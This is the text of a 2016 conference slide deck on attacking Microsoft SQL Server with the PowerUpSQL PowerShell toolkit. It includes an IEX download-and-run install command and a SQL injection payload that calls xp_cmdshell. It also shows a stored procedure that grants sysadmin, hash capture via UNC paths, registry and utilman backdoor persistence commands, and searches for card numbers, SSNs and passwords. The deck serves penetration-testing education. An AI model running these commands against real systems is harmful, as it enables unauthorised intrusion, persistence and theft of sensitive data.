2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)

Hacking SQL Server on
Scale with PowerShell
v.2

Speaker Information
Name: Scott Sutherland
Job: Network & Application Pentester @ NetSPI
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
Blogs: https://blog.netspi.com/author/scott-sutherland/
Code: https://github.com/netspi/PowerUpSQL
https://github.com/nullbind

Presentation Overview
● Why SQL Server and PowerShell?
● PowerUpSQL Overview
● Finding & Accessing SQL Servers
● Privilege Escalation Scenarios
o Domain user to SQL Server login
o SQL Server Login to Sysadmin
o Sysadmin to Windows Admin
o Windows Admin to Sysadmin
o Domain Escalation
● Post Exploitation Activities
● General Recommendations

Why SQL Server?
● Used in most enterprise environments
● Supports local Windows and Domain authentication
● Integrates with lots of Windows applications
● Generally has trust relationships that other don’t

Why PowerShell?
● Native to Windows
● Run commands in memory
● Run managed .net code
● Run unmanaged code
● Avoid detection by legacy Anti-virus
● Already flagged as "trusted" by most
application whitelist solutions
● A medium used to write many open source
Pentest toolkits

PowerUpSQL Overview: Project Goals
Project Goals (Get-Abilities) 
● Scalability via runspace threading
● Flexibility via pipeline support
● ps objects and data tables
● Portability
o No SMO dependancies
o .Net Framework libraries
o PowerShell v.2 compliant (in theory)
o Single file
Functional Goals
● Discover SQL Servers from different attacker perspectives
● Inventory SQL Servers quickly
● Audit SQL Servers for common insecure configurations
● Escalate privileges quickly on SQL Servers
● Support authentication using SQL Login or Windows Credential

PowerUpSQL Overview: Functions
Primary Attack Functions
● Invoke-SQLDumpInfo
● Invoke-SQLAudit
● Invoke-SQLEscalatePriv
● Invoke-SQLOsCmd
https://github.com/NetSPI/PowerUpSQL/wikiCurrently about 60 Functions

PowerUpSQL Overview: Where can I get it?
Github
https://github.com/netspi/PowerUpSQL
PowerShell Gallery
https://www.powershellgallery.com/packages/PowerUpSQL/

PowerUpSQL Overview: How do I install it?
Github
Import-Module PowerUpSQL.psd1
IEX(New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/P
owerUpSQL.ps1")
Execution policy work arounds
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
PowerShell Gallery
Install-Module -Name PowerUpSQL

SQL Server Basics
What is SQL Server?
● A database platform
● An application
● A set of Windows services
● Each instance has its own set of
services

SQL Server Basics: Account Types
Account Types
● Windows Accounts
o Used to login
o Mapped to SQL Server login
● SQL Server Logins
o Used to login
o Mapped to database account
● Database Users
o Used to access databases

SQL Server Basics: Common Roles
Important SQL Server Roles
● Sysadmin role
○ Database administrator account
○ Think of it as the “Administrators” Windows group,
but in SQL Server
● Public role
○ Only provides CONNECT permission
○ Think of it as the “Everyone” Windows group, but
in SQL Server

Find SQL Servers: Techniques
Attacker Perspective Attack Technique
Unauthenticated ● List from file
● TCP port scan
● UDP port scan
● UDP broadcast
● Azure DNS dictionary attack (x.databases.windows.net)
● Azure DNS lookup via public resources
Local User ● Services
● Registry entries
Domain User ● Service Principal Names
● Azure Portal / PowerShell Modules

Find SQL Servers: PowerUpSQL
Attacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/

Escalating
Privileges
Unauthenticated / Domain User to SQL Login

Testing Login Access: Techniques
What credentials can I use to log into discovered SQL Servers?
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords.
Unauthenticated Default passwords based on the SQL Server instance names.
Local Windows or ADS
Domain Account
Attempt to login using the current account.

Testing Login Access: PowerUpSQL CMDs
What PowerUpSQL functions can I use to test for successful logins?
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Domain Account
Get-SQLConnectionTestThreaded

Testing Login Access: PowerUpSQL CMDs

Testing Login Access: Login CMD Examples
Attacker Perspective Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded
-Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
-Verbose -Threads 15
Alternative
Domain User
runas /noprofile /netonly /user:domainuser PowerShell.exe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded
-Verbose -Threads 15

Testing Login Access: Reusing Result Lists
Process Command Example
Enumerate
Accessible Servers
$Accessible = Get-SQLInstanceDomain |
Get-SQLConnectionTestThreaded -Verbose -Threads 15 |
Where-Object {$_.Status –like “Accessible”}
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command? No.

Testing Login Access: Domain User Access
DEMO

Testing Login Access: Demo
DEMO

Escalating Privileges: Domain User
Why can Domain Users login into so
many SQL Servers?
● Admins give them access
● Privilege inheritance issue on
domain systems = Public role
access

Escalating
Privileges
SQL Login to SysAdmin

Escalating Privileges: Weak Passwords
Didn’t we just cover this? Yes, but there’s more…
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Domain Account
Get-SQLConnectionTestThreaded

…we can also enumerate SQL Server logins and Domain Accounts 
Technique PowerUpSQL Function
Blind Login Enumeration
+
Dictionary Attack
=
Super Cool!
Invoke-SQLAuditWeakLoginPw
• Enumerate all SQL Server logins with the Public role
• Enumerate all domain accounts with the Public role

Enumerating SQL Logins
1. Attempt to list all SQL Server
logins and fail.

logins and fail.
2. Get principal id for the sa
account with “suser_id”

logins and fail.
2. Get principal id for the sa account
with “suser_id”
3. Use “suser_name” to get SQL
logins using just principal ID

logins and fail.
with “suser_id”
4. Increment number and repeat

logins and fail.
with “suser_id”
4. Increment number and repeat
select n [id], SUSER_NAME(n) [user_name]
from (
select top 10000 row_number() over(order by t1.number) as N
from master..spt_values t1
cross join master..spt_values t2
) a
where SUSER_NAME(n) is not null
Code gifted from @mobileck
Source:
https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7

select n [id], SUSER_NAME(n) [user_name]
from (
select top 10000 row_number() over(order by
t1.number) as N
from master..spt_values t1
cross join master..spt_values t2
) a
where SUSER_NAME(n) is not null
Code gifted from @mobileck
Source:
https://gist.github.com/ConstantineK/c6de5d3
98ec43bab1a29ef07e8c21ec7

Enumerating Domain Users
1. Get the domain
Domain of SQL
Server

1. Get the domain
2. GID RID of default group
Full RID of
Domain Admins
group

1. Get the domain
3. Grab the first 48 Bytes of the full RID
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

1. Get the domain
4. Create new RID with by appending
a hex number value and the SID
1. Start with number, 500
2. Convert to hex, F401
3. Pad with 0 to 8 bytes, F4010000
4. Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

1. Get the domain
4. Create new RID with by appending a
hex number value and the SID
5. Use “suser_name” function to get
domain object name
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

1. Get the domain
4. Create new RID with by appending a
hex number value and the SID
5. Use “suser_name” function to get
domain object name
6. Increment and repeat
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges: DEMO
DEMO
Get-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount

2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)

Escalating Privileges: Impersonation
1. Impersonate Privilege
a. Server: EXECUTE AS LOGIN
b. Database: EXECUTE AS USER
2. Stored Procedure and Trigger Creation / Injection
Issues
a. EXECUTE AS OWNER
b. Signed with cert login
3. Automatic Execution of Stored Procedures
4. Agent Jobs
5. xp_cmdshell proxy acount
6. Create Databse Link to File or Server
7. Import / Install Custom Assemblies
8. Ad-Hoc Queries
9. Shared Service Accounts
10. Database Links
11. UNC Path Injection

Impersonate Privilege
• Can be used at server layer
o EXECUTE AS LOGIN
• Can be used at database layer
o EXECUTE AS USER
Pros
• Execute queries/commands in another user context
Cons
• Requires database to be configured as trustworthy
for OS command execution
• Commands and queries are not limited in any way

Impersonate Privilege
• Can be used at server layer
o EXECUTE AS LOGIN
• Can be used at database layer
o EXECUTE AS USER

Stored Procedure and Trigger Creation / Injection
Issues
• EXECUTE AS OWNER can be used to execute a
stored procedure as another login
Pros
• Can execute queries/commands in another user context
• Limit commands and queries
• Don’t have to grant IMPERSONATE
Cons
• No granular control over the database owner’s privileges
• DB_OWNER role can EXECUTE AS OWNER of the DB,
which is often a sysadmin
• Requires database to be configured as trustworthy for
OS command execution
• Impersonation can be done via SQL injection under
specific conditions
• Impersonation can be done via command injection under
specific conditions

Issues
• DB_OWNER role can impersonate the actual
database owner
USE MyAppDb
GO
CREATE PROCEDURE sp_escalate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember
'MyAppUser','sysadmin'
GO

Issues
• DB_OWNER role can impersonate the actual
database owner
USE MyAppDb
GO
CREATE PROCEDURE sp_escalate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember
'MyAppUser','sysadmin'
GO
SYSADMIN
is often the
OWNER

Issues
• Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Pros
• Can execute queries/commands in another user
context
• Limit commands and queries
• Don’t have to grant IMPERSONATE
• Granular control over permissions
• Database does NOT have to be configured as
trustworthy for OS command execution
Cons
• Impersonation can be done via SQL injection
under specific conditions
• Impersonation can be done via command
injection under specific conditions

SQL Injection Example
CREATE PROCEDURE sp_sqli2
@DbName varchar(max)
AS
BEGIN
Declare @query as varchar(max)
SET @query = ‘
SELECT name FROM master..sysdatabases
WHERE name like ''%'+ @DbName+'%'' OR
name=''tempdb''';
EXECUTE(@query)
END
GO
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/

CREATE PROCEDURE sp_sqli2
@DbName varchar(max)
AS
BEGIN
Declare @query as varchar(max)
SET @query = ‘
SELECT name FROM master..sysdatabases
WHERE name like ''%'+ @DbName+'%'' OR
name=''tempdb''';
EXECUTE(@query)
END
GO
PURE EVIL

EXEC MASTER.dbo.sp_sqli2
'master'';EXEC master..xp_cmdshell ''whoami''--';

Automatic Execution of Stored Procedure
• Stored procedures ca be configured to execute
when the SQL Server service restarts
Pros
• Marking a stored procedure to run when the SQL
Server service restarts has many use cases
• Only stored procedures in the master database
can be marked for auto execution
Cons
• No granular control over what context the startup
command is executed in
• All stored procedures marked for auto execution
are executed as ‘sa’, even if ‘sa’ is disabled
• Any non sysadmin access to stored procedures
can lead to execution as ‘sa’

DEMO
Invoke-SQLAudit

Escalating Privileges: Invoke-SQLPrivEsc
Whooray for Automation Demo!

DEMO
Invoke-SQLEscalatePriv

Escalating Privileges: Invoke-SQLPrivEsc
DEMO

Escalating
Privileges
SysAdmin to Service Account

Escalating Privileges: SysAdmin to Service Account
OS Command Execution = Service Account Impersonation
Executing OS Commands:
● xp_cmdshell
● Custom Assemblies (.net)
● Custom Extended Stored Procedures (C++)
● Agent Jobs
o ActiveX: Vbscript, Jscript, and Other
o CmdExec
o PowerShell
o SSIS Package
● Registry Autoruns
● File Autoruns

OS Command Execution = Service Account Impersonation
You don’t need to know the password, crack a hash, or PTH
Service Account Types
● Local User
● Local System
● Network Service
● Local managed service account
● Domain managed service account
● Domain User
● Domain Admin

But wait, there’s more…RottenPotato @ DerbyCon 2016
- Authors: Chris Mallz (@vvalien1) & Steve Breen (@breenmachine)
- We can now escalation from service account to LocalSystem!
- No patch that I’m aware of.
Check out their blog for details:
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-
escalation-from-service-accounts-to-system/

Escalating Privileges: Invoke-SQLOSCmd
Invoke-SQLOSCMD can be used for basic command execution.
PS C:>$Accessible | Invoke-SQLOSCmd –Verbose –Command “whoami” –Threads 10
ComputerName Instance CommandResults
--------------------- ----------- --------------
SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress
SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem
SQLServer1 SQLServer1 DomainSQLSvc

Escalating
Privileges
Shared Service Accounts

Escalating Privileges: Shared Service Accounts
Why should I care about shared service accounts?
1. SysAdmins can execute OS commands
2. OS commands run as the SQL Server service account
3. Service accounts have sysadmin privileges by default
4. Companies often use a single domain account to run hundreds of SQL Servers
5. So if you get sysadmin on one server you have it on all of them!
One account to rule them all!

InternetDMZIntranet
LRA HVA
LVA
ADS
LVA
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts

InternetDMZIntranet
LRA HVA
LVA
ADS
LVA
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key

InternetDMZIntranet
LRA HVA
LVA
ADS
LVA
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Execute Local Command
via xp_cmdshell
2
Key

InternetDMZIntranet
LRA HVA
LVA
ADS
LVA
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Execute Local Command
via xp_cmdshell
2
Access to HVA with shared domain service account
Key
Execute commands and
gather data from other
database servers via osql
3

Escalating
Privileges
Crawling Server Links

Escalating Privileges: Crawling Server Links
What’s a database link?
● Database links are basically persistent database connections for SQL Servers.
Why should I care?
● Short answer = privilege escalation
● Public role can use links to execute queries on remote servers (impersonation)
SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’)
● Stored procedures can be executed (xp_cmdshell)
● Links can be crawled

InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain EvilKey
Leveraging MS SQL Database links
DB1
LVA

InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
DB1
LVA

InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
D
B
Link
w
ith
LeastPrivileges
DB1
LVA

InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
D
B
Link
w
ith
LeastPrivileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and
local commands on
database servers via
nested linked services
2

Penetration Test Stats
● Database links exist (and can be crawled) in about 50% of environments we’ve seen
● The max number of hops we’ve seen is 12
● The max number of servers crawled is 226

Old Script
● 2012 - https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawler
New Script
● /scripts/pending/Get-SqlServerLinkCrawl.ps1
● Author: Antti Rantasaari

DEMO

Escalating Privileges: Database Links
DEMO

Escalating
Privileges
UNC Path Injection

Escalating Privileges: UNC Path Injection
UNC Path Injection Summary
● UNC paths are used for accessing remote file servers like so 192.168.1.4file
● Almost all procedures that accept a file path in SQL Server, support UNC paths
● UNC paths can be used to force the SQL Server service account to authenticate to an attacker
● An attacker can then capture the NetNTLM password hash and crack or relay it
● Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Oh yeah…
By DEFAULT, the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtree
xp_fileexists

So, in summary…
The PUBLIC role can access the SQL
Server service account NetNTLM
password hash by default!!

But who really has
PUBLIC role access?
Oh yeah, a ton of domain users 

DEMO
Get-SQLServiceAccountPwHashes
…what? It’s self descriptive 

DEMO

Escalating
Privileges
OS Admin to SysAdmin

Escalating Privileges: OS Admin to SysAdmin
Two things to know…
1. Different SQL Server versions can be abused in different ways
2. All SQL Server versions provide the service account with sysadmin privileges.

Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode ? x x x x x
Below are some options for leveraging that knowledge...

Here are some tool options...
Approach Common Tools
Access as Local Administrator Management Studio, sqlcmd, and other native SQL client
tools.
Access as LocalSystem Psexec, accessibility options, debugger with native SQL
client tools.
Recover SQL Server service account
password from LSA Secrets
Mimikatz, Metasploit, lsadump.
Inject shellcode or DLL into the SQL
Server service process
Metasploit, Empire, Python, Powershell, C, C++
(LoadLibrary,CreateRemoteThread, and similar functions)
Steal Authentication Token From SQL
Server service process
Metasploit, Incognito, Invoke-TokenManipulation
Single User Mode DBATools

Common
Post
Exploitation
Activities

Post Exploitation: Overview
Common Post Exploitation Activities
1. Establish Persistence
• SQL Server Layer: startup procedures, agent jobs, triggers, modified code
• OS Layer: Registry & file auto runs, tasks, services, etc.
2. Identify Sensitive Data
• Target large databases
• Locate transparently encrypted databases
• Search columns based on keywords and sample data
• Use regular expressions and the Luhn formula against data samples
3. Exfiltrate Sensitive Data
• All standard methods: Copy database, TCP ports, UDP ports, DNS tunneling,
ICMP tunneling, email, HTTP, shares, links, etc. (No exfil in PowerUpSQL
yet)

Post Exploitation: Persistence
Task Command Example
Registry Autorun
Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce
-Command "EvilBoxEvilSandwich.exe" -Instance
"SQLServer1STANDARDDEV2014"
Debugger Backdoor
Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe
-Command 'c:windowssystem32cmd.exe' -Instance
"SQLServer1STANDARDDEV2014"

Post Exploitation: Persistence

Post Exploitation: Finding Sensitive Data
Task Command Example
Locate Encrypted
Databases
Get-SQLInstanceDomain -Verbose |
Get-SQLDatabaseThreaded –Verbose –Threads 10 -NoDefaults |
Where-Object {$_.is_encrypted –eq “TRUE”}
Locate and Sample
Sensitive Columns
and Export to CSV
Get-SQLInstanceDomain -Verbose |
Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword
“credit,ssn,password” –SampleSize 2 –ValidateCC –NoDefaults |
Export-CSV –NoTypeInformation c:tempdatasample.csv

Post Exploitation: Finding Sensitive Data
DEMO

General Recommendations
Things to do…
1. Enforce least privilege everywhere!
2. Disable dangerous default stored procedures.
3. Audit and fix insecure configurations.
4. Use policy based management for standardizing configurations.
5. Enable auditing at the server and database levels, and monitor for potentially malicious activity.

PowerUpSQL Overview: Thanks!
Individual Third Party Code / Direct Contributors
Boe Prox Runspace blogs
Warren F. ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari, Eric Gruber, and Alexander
Leary, @leoloobeek, and @ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice

2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)

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2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)

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